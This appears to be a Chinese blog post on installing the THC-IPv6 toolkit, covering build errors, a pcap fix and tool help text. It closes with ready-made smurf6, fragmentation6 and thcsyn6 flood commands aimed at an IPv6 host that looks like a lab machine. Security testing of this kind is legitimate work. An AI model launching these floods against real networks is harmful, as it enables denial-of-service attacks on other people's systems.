官網位址
https://www.thc.org/thc-ipv6/
下載下傳
wget https://www.thc.org/releases/thc-ipv6-2.7.tar.gz
安裝
[root@20211 mysoft]# tar zxvf thc-ipv6-2.7.tar.gz
[root@20211 mysoft]# cd thc-ipv6-2.7
[root@20211 thc-ipv6-2.7]# make
[root@20211 thc-ipv6-2.7]# make install
install -m0755 -d /usr/local/share/man/man8
install -m0644 -D thc-ipv6.8 /usr/local/share/man/man8
如果在CentOS下安裝,提示如下資訊,是确實pcap包,運作 “yum install *pcap*”即可
root@202 thc-ipv6-2.7]# make
gcc -O2 -D_HAVE_SSL -c -o thc-ipv6-lib.o thc-ipv6-lib.c
thc-ipv6-lib.c:40:18: 錯誤:pcap.h:沒有那個檔案或目錄
In file included from thc-ipv6-lib.c:69:
thc-ipv6.h:90: 錯誤:expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
thc-ipv6.h:91: 錯誤:expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
thc-ipv6.h:93: 錯誤:expected ‘)’ before ‘*’ token
thc-ipv6.h:94: 錯誤:expected ‘)’ before ‘*’ token
thc-ipv6-lib.c: 在函數‘thc_pcap_function’中:
thc-ipv6-lib.c:110: 錯誤:‘pcap_t’未聲明(在此函數内第一次使用)
thc-ipv6-lib.c:110: 錯誤:(即使在一個函數内多次出現,每個未聲明的辨別符在其
thc-ipv6-lib.c:110: 錯誤:所在的函數内也隻報告一次。)
thc-ipv6-lib.c:110: 錯誤:‘pcap_link’未聲明(在此函數内第一次使用)
thc-ipv6-lib.c:111: 錯誤:‘PCAP_ERRBUF_SIZE’未聲明(在此函數内第一次使用)
thc-ipv6-lib.c:112: 錯誤:‘fcode’的存儲大小未知
thc-ipv6-lib.c:130: 錯誤:‘pcap_handler’未聲明(在此函數内第一次使用)
thc-ipv6-lib.c:130: 錯誤:expected ‘)’ before ‘function’
thc-ipv6-lib.c: 在檔案層:
thc-ipv6-lib.c:137: 錯誤:expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
thc-ipv6-lib.c:163: 錯誤:expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
thc-ipv6-lib.c:184: 錯誤:expected ‘)’ before ‘*’ token
thc-ipv6-lib.c:190: 錯誤:expected ‘)’ before ‘*’ token
thc-ipv6-lib.c:663: 警告:‘struct pcap_pkthdr’在形參表内部聲明
thc-ipv6-lib.c: 在函數‘thc_get_mac_from_sniff’中:
thc-ipv6-lib.c:664: 錯誤:提領指向不完全類型的指針
thc-ipv6-lib.c: 在函數‘thc_lookup_ipv6_mac’中:
thc-ipv6-lib.c:700: 錯誤:‘pcap_t’未聲明(在此函數内第一次使用)
thc-ipv6-lib.c:700: 錯誤:‘p’未聲明(在此函數内第一次使用)
make: *** [thc-ipv6-lib.o] 錯誤 1
[root@202 thc-ipv6-2.7]# yum install *pcap*
然後運作make && make install即可
[root@202 thc-ipv6-2.7]# make && make install
[root@20211 thc-ipv6-2.7]# thcping6 ?
thcping6 v2.7 (c) 2014 by van Hauser / THC <[email protected]> www.thc.org
Syntax: thcping6 [-Eafqx] [-e ethertype] [-H t:l:v] [-D t:l:v] [-F dst] [-e ethertype] [-L length] [-N
nextheader] [-V version] [-t ttl] [-c class] [-l label] [-d size] [-S port|-U port|-T type -C code] interface
src6 dst6 [srcmac [dstmac [data]]]
Options:
-T number ICMPv6 type to send (default: 128 = ping)
-C number ICMPv6 code to send (default: 0)
-S port use a TCP SYN packet on the defined port instead of ping
-U port use a UDP packet on the defined port instead of ping
-n count how often to send the packet (default: 1)
-h show more command line options (help!)
You can put an "x" into src6, srcmac and dstmac for an automatic value.
Craft a ICMPv6/TCP/UDP packet with special IPv6 or EH header options.
Returns -1 on error or no reply, 0 on normal reply or 1 on error reply.
[root@20211 thc-ipv6-2.7]#
[root@20211 thc-ipv6-2.7]# thcsyn6 ?
thcsyn6 v2.7 (c) 2014 by van Hauser / THC <[email protected]> www.thc.org
Syntax: thcsyn6 [-AcDrRS] [-m dstmac] [-p port] [-s sourceip6] interface target port
-a add hop-by-hop header with router alert
-d add destination header (can be set up to 150 times)
-A send TCP-ACK packets
-S send TCP-SYN-ACK packets
-r randomize the source from your /64 prefix
-R randomize the source fully
-D randomize the destination (treat as /64)
-m dstmac use this destination mac address
-s sourceip6 use this as source IPv6 address
-p port use fixed source port
Flood the target port with TCP-SYN packets. If you supply "x" as port, it
is randomized.
smurf6 ICMP攻擊
[root@20211 /]# smurf6 eth2 fc00:0:0:216::11
Warning: unprefered IPv6 address had to be selected
Starting smurf6 attack against fc00:0:0:216::11 (Press Control-C to end) ...
^C
碎片攻擊
[root@dr101 /]# fragmentation6 eth2 fc00:0:0:216::11
ack攻擊
[root@dr101 /]# thcsyn6 -Ar eth2 fc00:0:0:216::11 80
指令參考網址